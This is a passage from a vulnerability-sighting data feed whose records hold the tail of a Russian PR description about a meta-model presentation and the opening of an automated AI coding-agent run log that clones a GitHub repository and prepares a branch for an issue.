\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0435 \u0438 \u0437\u0430\u043c\u0435\u0440 `M-1` \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 ADR-019 \u0438 \u0413-12.\n- \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442: `validate-frontmatter`, `validate-file-naming`, `validate-repository-structure`, `validate-rrp-links`, `generate-manifest --check`, `tools/test-*.sh`.\n\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u041a\u0430\u043a \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043e |\n|---|---|---|\n| 1 | \u0412\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 (V-BIZ, V-APPROVE, V-DEV, V-CONTRACT) \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 | \u0421\u043b\u0430\u0439\u0434 7, \u0441\u0442\u0430\u0442\u0443\u0441 \u00ab\u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\u00bb |\n| 2 | \u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb |\n| 3 | `retrieval_status`, `semantic_review` \u0438 `approval` \u2014 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u0413-17) | \u0422\u0430\u043c \u0436\u0435 |\n| 4 | \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f MCP \u043a Jira \u0438 Confluence \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432 (\u0413-12) | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 |\n| 5 | \u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b `mango_ba_prompts` \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b. \u0422\u043e\u043a\u0435\u043d\u044b RUN-0025 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 RUN-0015 | \u0420\u0430\u043c\u043a\u0430 \u00ab\u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\u00bb \u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 |\n| 6 | \u041e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u0438 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u0421\u0440\u0435\u0434\u044b 4 \u043d\u0435\u0442 | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043e RFC B-218 |\n| 7 | \u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u044b | \u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u0440\u0430\u0437\u0434\u0435\u043b \u043f\u0440\u043e \u0441\u0442\u0438\u043b\u044c |\n\n## \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0438\u0441\u043a\n\u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u0430\u0451\u0442 \u00ab\u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb, \u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u0435 Working \u2192 Release. \u0415\u0441\u043b\u0438 \u043d\u0430 \u043f\u043e\u043a\u0430\u0437\u0435 \u043f\u0440\u043e\u0437\u0432\u0443\u0447\u0438\u0442 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u00bb \u0431\u0435\u0437 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438, \u043f\u0435\u0440\u0432\u0430\u044f \u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u0439\u0434\u0451\u0442 lorem ipsum, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 n1\u2013n3 (\u0413-29). \u0422\u043e\u0433\u0434\u0430 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438 \u0441\u0442\u043e\u044f\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 7\u20138 \u0438 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438.\n\n## \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0431\u044d\u043a\u043b\u043e\u0433\n\u041d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u043d\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u044e, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u043c\u0438 PR:\n- \u043f\u043e\u0441\u043b\u0435 B-212 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043b\u0430\u0439\u0434 7 \u0438 \u043e\u0442\u0432\u0435\u0442 \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e\u00bb \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432;\n- \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c \u0438 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 (PPTX \u0438\u043b\u0438 Google Slides) \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0431\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c;\n- \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u0431\u0430\u043d\u043a\u0435, \u043a\u0430\u043a \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044e.\n\n\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442: [`docs/ba-meta-model-overview.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md) \u043e\u0442 2026-09-09 \u2014 \u0440\u0430\u043d\u043d\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043b\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432. \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0435\u0433\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442; \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f, \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n[2026-09-29T08:08:13.435Z] [INFO]   \u2705 PR body already contains issue reference\n[2026-09-29T08:08:17.666Z] [STDOUT] https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T08:08:17.686Z] [INFO]   \ud83d\udcdd PR description Changes section regenerated from the diff (4 file(s))\n[2026-09-29T08:08:19.504Z] [STDOUT] {\"isDraft\":false,\"state\":\"OPEN\"}\n[2026-09-29T08:08:19.518Z] [INFO]    \ud83d\udd0d PR #648 draft state: isDraft=false, state=OPEN\n[2026-09-29T08:08:19.521Z] [INFO] \u2705 PR status: Already in ready for review\n[2026-09-29T08:08:19.526Z] [INFO] \n[2026-09-29T08:08:19.526Z] [INFO] \ud83d\udcce Uploading solution draft log to Pull Request...\n[2026-09-29T08:08:19.537Z] [STDERR] [use-m] use('fs') joined an in-flight load (alias fs-v-latest)\n[2026-09-29T08:08:19.588Z] [INFO] \ud83d\udcc8 Resource usage (log upload start, 6MB log):\n[2026-09-29T08:08:19.588Z] [INFO]    CPU load: 11.00 10.05 7.85 (6 CPUs)\n[2026-09-29T08:08:19.588Z] [INFO]    Memory: 8.7 GB available / 11.7 GB total (3.0 GB used)\n[2026-09-29T08:08:19.588Z] [INFO]    Process RSS: 176 MB, V8 heap: 73 MB used of 2.2 GB limit (3.3%)\n[2026-09-29T08:08:19.588Z] [INFO]    Disk (/): 97.5 GB available / 192.7 GB total (49.4% used)\n[2026-09-29T08:08:19.588Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=log_upload_start ts=2026-09-29T08%3A08%3A19.578Z load1=11 load5=10.05 load15=7.85 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=9288724480 memUsedBytes=3252760576 processRssBytes=184180736 processHeapUsedBytes=76557648 processHeapTotalBytes=136523776 processExternalBytes=17186296 processHeapLimitBytes=2348810240 processHeapUsedPercent=3.259422438485282 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=104721207296 diskUsedBytes=102162296832 diskUsedPercent=49.377553364531785 mem=8.7%20GB%20available%20%2F%2011.7%20GB%20total heap=73%20MB%20used%20of%202.2%20GB%20limit%20(3.3%25) disk=97.5%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T08:08:20.219Z] [INFO]   \ud83d\udcb0 Calculated cost: $8.859691\n[2026-09-29T08:08:20.222Z] [INFO]   \ud83e\udd16 Actual models used: claude-opus-5-5\n[2026-09-29T08:08:20.233Z] [STDERR] [use-m] use('https') loading (alias https-v-latest)\n[2026-09-29T08:08:20.271Z] [STDERR] [use-m] use('https') loaded in 36ms\n[2026-09-29T08:08:20.635Z] [INFO]   \ud83e\udd16 Model info fetched for comment\n[2026-09-29T08:08:20.639Z] [INFO]   \u23ed\ufe0f  Log is 6MB \u2014 skipping inline comment construction, the log goes straight to gh-upload-log\n[2026-09-29T08:08:20.642Z] [INFO]   \ud83d\udcc1 Log file too large for inline comment (6MB), using gh-upload-log\n[2026-09-29T08:08:20.644Z] [INFO]   \ud83d\udcce Uploading log using gh-upload-log...\n[2026-09-29T08:08:21.285Z] [INFO]   \ud83d\udd0d Repository visibility: public, log upload will be public\n", "creation_timestamp": "2026-09-29T08:08:29.000000Z"}, {"uuid": "9689d569-5e34-4e06-abe8-8c394527b8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21877", "type": "seen", "source": "https://gist.github.com/konard/b3c4293a314f6324353df44c1c82b73a", "content": "# Solve.mjs Log - 2026-09-29T07:42:17.581Z\n\n[2026-09-29T07:42:17.595Z] [INFO] \ud83d\udcc1 Log file: /home/box/solve-2026-09-29T07-42-17-580Z.log\n[2026-09-29T07:42:17.605Z] [INFO]    (All output will be logged here)\n[2026-09-29T07:42:20.675Z] [INFO] \n[2026-09-29T07:42:20.679Z] [INFO] \ud83d\ude80 solve v2.33.1\n[2026-09-29T07:42:20.680Z] [INFO] \ud83d\udd27 Raw command executed:\n[2026-09-29T07:42:20.682Z] [INFO]    /home/box/.nvm/versions/node/v24.21.0/bin/node /home/box/.bun/bin/solve https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646 --think high --tool claude --attach-logs --verbose --no-tool-check --disable-report-issue --language en\n[2026-09-29T07:42:20.684Z] [INFO] \n[2026-09-29T07:42:20.780Z] [INFO] \ud83e\udded Execution context: docker container (indicators: /.dockerenv) \u2014 per-task disk usage is scoped to this container.\n[2026-09-29T07:42:20.795Z] [INFO] \ud83d\udcc8 Resource usage (solve start):\n[2026-09-29T07:42:20.795Z] [INFO]    CPU load: 3.37 2.89 4.75 (6 CPUs)\n[2026-09-29T07:42:20.795Z] [INFO]    Memory: 9.4 GB available / 11.7 GB total (2.3 GB used)\n[2026-09-29T07:42:20.795Z] [INFO]    Process RSS: 113 MB, V8 heap: 29 MB used of 2.2 GB limit (1.3%)\n[2026-09-29T07:42:20.795Z] [INFO]    Disk (/): 103.1 GB available / 192.7 GB total (46.5% used)\n[2026-09-29T07:42:20.795Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=solve_start ts=2026-09-29T07%3A42%3A20.787Z load1=3.37 load5=2.89 load15=4.75 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=10087424000 memUsedBytes=2454061056 processRssBytes=118026240 processHeapUsedBytes=30865984 processHeapTotalBytes=58904576 processExternalBytes=4691355 processHeapLimitBytes=2348810240 processHeapUsedPercent=1.3141114371163505 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=110731517952 diskUsedBytes=96151986176 diskUsedPercent=46.47262224652763 mem=9.4%20GB%20available%20%2F%2011.7%20GB%20total heap=29%20MB%20used%20of%202.2%20GB%20limit%20(1.3%25) disk=103.1%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T07:42:20.802Z] [INFO] \n[2026-09-29T07:42:20.807Z] [WARNING] \u26a0\ufe0f  SECURITY WARNING: --attach-logs is ENABLED\n[2026-09-29T07:42:20.811Z] [INFO] \n[2026-09-29T07:42:20.816Z] [INFO]    This option will upload the complete solution draft log file to the Pull Request.\n[2026-09-29T07:42:20.822Z] [INFO]    The log may contain sensitive information such as:\n[2026-09-29T07:42:20.829Z] [INFO]    \u2022 API keys, tokens, or secrets\n[2026-09-29T07:42:20.832Z] [INFO]    \u2022 File paths and directory structures\n[2026-09-29T07:42:20.838Z] [INFO]    \u2022 Command outputs and error messages\n[2026-09-29T07:42:20.841Z] [INFO]    \u2022 Internal system information\n[2026-09-29T07:42:20.844Z] [INFO] \n[2026-09-29T07:42:20.846Z] [INFO]    \u26a0\ufe0f  DO NOT use this option with public repositories or if the log\n[2026-09-29T07:42:20.848Z] [INFO]        might contain sensitive data that should not be shared publicly.\n[2026-09-29T07:42:20.850Z] [INFO] \n[2026-09-29T07:42:20.852Z] [INFO]    Continuing in 5 seconds... (Press Ctrl+C to abort)\n[2026-09-29T07:42:20.854Z] [INFO] \n[2026-09-29T07:42:21.859Z] [STDOUT]    Countdown: 5 seconds remaining...\n[2026-09-29T07:42:22.862Z] [STDOUT]    Countdown: 4 seconds remaining...\n[2026-09-29T07:42:23.866Z] [STDOUT]    Countdown: 3 seconds remaining...\n[2026-09-29T07:42:24.873Z] [STDOUT]    Countdown: 2 seconds remaining...\n[2026-09-29T07:42:25.874Z] [STDOUT]    Countdown: 1 seconds remaining...\n   Proceeding with log attachment enabled.                    \n[2026-09-29T07:42:25.875Z] [INFO] \n[2026-09-29T07:42:25.971Z] [STDERR] [use-m] use('command-stream') joined an in-flight load (alias command-stream-v-latest)\n[2026-09-29T07:42:26.975Z] [INFO] \u2b06\ufe0f Updating claude 2.1.283 \u2192 2.1.284\n[2026-09-29T07:42:41.052Z] [INFO] \u2705 Agentic CLIs updated while idle: claude 2.1.283\u21922.1.284\n[2026-09-29T07:42:41.056Z] [INFO] [VERBOSE] agentic-cli-updater: 1 updated, 0 current, 0 failed\n[2026-09-29T07:42:41.058Z] [VERBOSE] [VERBOSE] agentic-cli-updater: 1 updated, 0 current, 0 failed\n[2026-09-29T07:42:41.062Z] [INFO] \ud83d\udd04 \u2b06\ufe0f Updated claude 2.1.283 \u2192 2.1.284\n[2026-09-29T07:42:41.094Z] [INFO] \ud83d\udcbe Disk space check: 105366MB available (10240MB required) \u2705\n[2026-09-29T07:42:41.101Z] [INFO] \ud83e\udde0 Memory check: 9992MB available, swap: 4095MB (1040MB used), total: 13047MB (256MB required) \u2705\n[2026-09-29T07:42:41.164Z] [INFO] \u23e9 Skipping tool connection validation (dry-run mode or skip-tool-connection-check enabled)\n[2026-09-29T07:42:41.169Z] [INFO] \u23e9 Skipping GitHub authentication check (dry-run mode or skip-tool-connection-check enabled)\n[2026-09-29T07:42:41.189Z] [INFO] \ud83d\udd0d agent-config-audit: inspected global claude configuration under /home/box (0 findings)\n[2026-09-29T07:42:41.193Z] [INFO] \ud83c\udfad Checking Playwright MCP preflight for Claude Code...\n[2026-09-29T07:42:42.027Z] [STDOUT] Checking MCP server health\u2026\n\n[2026-09-29T07:42:48.788Z] [STDOUT] claude.ai Claude Docs: https://api.anthropic.com/v1/pages/mcp - \u2714 Connected\n[2026-09-29T07:42:48.790Z] [STDOUT] playwright: npx -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080 - \u2714 Connected\n[2026-09-29T07:42:49.495Z] [INFO] \ud83c\udfad Playwright MCP probe: 'mcp list' exit=0, playwright rows=1 [playwright: npx -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080 - \u2714 Connected]\n[2026-09-29T07:42:49.498Z] [INFO] \ud83c\udfad Playwright MCP reported as connected by mcp list\n[2026-09-29T07:42:49.500Z] [INFO] \ud83c\udfad Playwright MCP ready for Claude Code\n[2026-09-29T07:42:49.503Z] [INFO] \ud83d\udccb URL validation:\n[2026-09-29T07:42:49.510Z] [INFO]    Input URL: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:42:49.514Z] [INFO]    Is Issue URL: true\n[2026-09-29T07:42:49.517Z] [INFO]    Is PR URL: false\n[2026-09-29T07:42:49.520Z] [INFO] \ud83d\udd0d --auto-accept-invite: Checking for pending invitation to G-Ivan-A/hybrid-Intelligence-lab...\n[2026-09-29T07:42:50.020Z] [INFO]    Found 6 total pending repo invitation(s)\n[2026-09-29T07:42:50.025Z] [INFO]    No pending repository invitation found for G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:42:50.574Z] [INFO]    Found 0 total pending org invitation(s)\n[2026-09-29T07:42:50.577Z] [INFO]    No pending organization invitation found for G-Ivan-A\n[2026-09-29T07:42:50.580Z] [INFO] \u2139\ufe0f  --auto-accept-invite: No pending invitation found for G-Ivan-A/hybrid-Intelligence-lab or organization G-Ivan-A\n[2026-09-29T07:42:50.584Z] [INFO] \ud83d\udd0d Checking repository access for auto-fork...\n[2026-09-29T07:42:51.133Z] [STDOUT] {\"admin\":false,\"maintain\":false,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-09-29T07:42:51.642Z] [INFO]    Repository visibility: public\n[2026-09-29T07:42:51.647Z] [INFO] \u2705 Auto-fork: Write access detected to public repository, working directly on repository\n[2026-09-29T07:42:51.655Z] [INFO] \ud83d\udd0d Checking repository write permissions...\n[2026-09-29T07:42:52.198Z] [STDOUT] {\"admin\":false,\"maintain\":false,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-09-29T07:42:52.208Z] [INFO] \u2705 Repository write access: Confirmed\n[2026-09-29T07:42:52.684Z] [STDOUT] G-Ivan-A\n[2026-09-29T07:42:54.309Z] [INFO]    Repository visibility: public\n[2026-09-29T07:42:54.314Z] [INFO]    Auto-cleanup default: false (repository is public)\n[2026-09-29T07:42:54.320Z] [INFO] \ud83d\udd0d Auto-continue enabled: Checking for existing PRs for issue #646...\n[2026-09-29T07:42:54.325Z] [INFO] \ud83d\udd0d Checking for existing branches in G-Ivan-A/hybrid-Intelligence-lab...\n[2026-09-29T07:42:56.154Z] [STDOUT] []\n[2026-09-29T07:42:56.897Z] [STDOUT] []\n[2026-09-29T07:42:56.907Z] [INFO] \ud83d\udcdd No existing PRs found for issue #646 - creating new PR\n[2026-09-29T07:42:56.911Z] [INFO] \ud83d\udcdd Issue mode: Working with issue #646\n[2026-09-29T07:42:56.922Z] [INFO] \n[2026-09-29T07:42:56.922Z] [INFO] Creating temporary directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:42:57.093Z] [INFO] \ud83d\udd10 Authenticated git transport enabled for github.com (token source: gh auth token) - repository setup\n[2026-09-29T07:42:57.101Z] [INFO] \n[2026-09-29T07:42:57.101Z] [INFO] \ud83d\udce5 Cloning repository:       G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:42:57.669Z] [STDOUT] Cloning into '/tmp/gh-issue-solver-1790667776920'...\n[2026-09-29T07:43:00.774Z] [STDOUT] true\n[2026-09-29T07:43:00.776Z] [INFO] \u2705 Cloned to:                /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:00.791Z] [INFO] \ud83e\uddf9 Ignoring AI tool scratch directories in this workspace: .formal-ai/, .playwright-mcp/\n[2026-09-29T07:43:00.817Z] [STDOUT] origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\norigin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (push)\n[2026-09-29T07:43:01.003Z] [INFO] \u2139\ufe0f  gh auth setup-git could not write the global gitconfig: failed to set up git credential helper: failed to run git: error: could not write config file /home/box/.gitconfig: Device or resource busy\n[2026-09-29T07:43:01.060Z] [INFO] \ud83d\udd11 Configured the gh credential helper for this clone (the global gitconfig is not writable)\n[2026-09-29T07:43:01.088Z] [INFO] \n[2026-09-29T07:43:01.088Z] [INFO] \ud83d\udcca [DISK] phase=after_clone bytes=30809766 path=/tmp/gh-issue-solver-1790667776920 size=29 MB\n[2026-09-29T07:43:01.114Z] [INFO] \ud83d\udcc8 Resource usage (after repository clone):\n[2026-09-29T07:43:01.114Z] [INFO]    CPU load: 3.71 3.06 4.72 (6 CPUs)\n[2026-09-29T07:43:01.114Z] [INFO]    Memory: 9.4 GB available / 11.7 GB total (2.3 GB used)\n[2026-09-29T07:43:01.114Z] [INFO]    Process RSS: 131 MB, V8 heap: 26 MB used of 2.2 GB limit (1.2%)\n[2026-09-29T07:43:01.114Z] [INFO]    Disk (/): 102.8 GB available / 192.7 GB total (46.6% used)\n[2026-09-29T07:43:01.114Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_clone ts=2026-09-29T07%3A43%3A01.101Z load1=3.71 load5=3.06 load15=4.72 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=10089414656 memUsedBytes=2452070400 processRssBytes=137424896 processHeapUsedBytes=27513600 processHeapTotalBytes=43073536 processExternalBytes=4769502 processHeapLimitBytes=2348810240 processHeapUsedPercent=1.171384538922991 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=110389620736 diskUsedBytes=96493883392 diskUsedPercent=46.63786958876374 mem=9.4%20GB%20available%20%2F%2011.7%20GB%20total heap=26%20MB%20used%20of%202.2%20GB%20limit%20(1.2%25) disk=102.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T07:43:01.146Z] [STDOUT] main\n[2026-09-29T07:43:01.178Z] [INFO] \n[2026-09-29T07:43:01.178Z] [INFO] \ud83d\udccc Default branch:           main\n[2026-09-29T07:43:01.333Z] [INFO] \n[2026-09-29T07:43:01.333Z] [INFO] \ud83c\udf3f Creating branch:          issue-646-497e337ac092 from main (default)\n[2026-09-29T07:43:01.380Z] [STDERR] Switched to a new branch 'issue-646-497e337ac092'\n[2026-09-29T07:43:01.381Z] [STDOUT] branch 'issue-646-497e337ac092' set up to track 'origin/main'.\n[2026-09-29T07:43:01.383Z] [INFO] \ud83d\udd0d Verifying:                Branch creation...\n[2026-09-29T07:43:01.411Z] [INFO] \u2705 Branch created:           issue-646-497e337ac092\n[2026-09-29T07:43:01.414Z] [INFO] \u2705 Current branch:           issue-646-497e337ac092\n[2026-09-29T07:43:01.419Z] [INFO]    Branch operation: Create new branch\n[2026-09-29T07:43:01.423Z] [INFO]    Branch verification: Matches expected\n[2026-09-29T07:43:01.435Z] [INFO] \n[2026-09-29T07:43:01.435Z] [INFO] \ud83d\ude80 Auto PR creation:         ENABLED\n[2026-09-29T07:43:01.439Z] [INFO]      Creating:               Initial commit and draft PR...\n[2026-09-29T07:43:01.449Z] [INFO] \n[2026-09-29T07:43:01.453Z] [INFO]    Using .gitkeep mode (--claude-file=false, --gitkeep-file=true, --auto-gitkeep-file=true)\n[2026-09-29T07:43:01.458Z] [INFO] \ud83d\udcdd Creating:                 .gitkeep (default)\n[2026-09-29T07:43:01.462Z] [INFO]    Issue URL from argv['issue-url']: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.465Z] [INFO]    Issue URL from argv._[0]: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.469Z] [INFO]    Final issue URL: 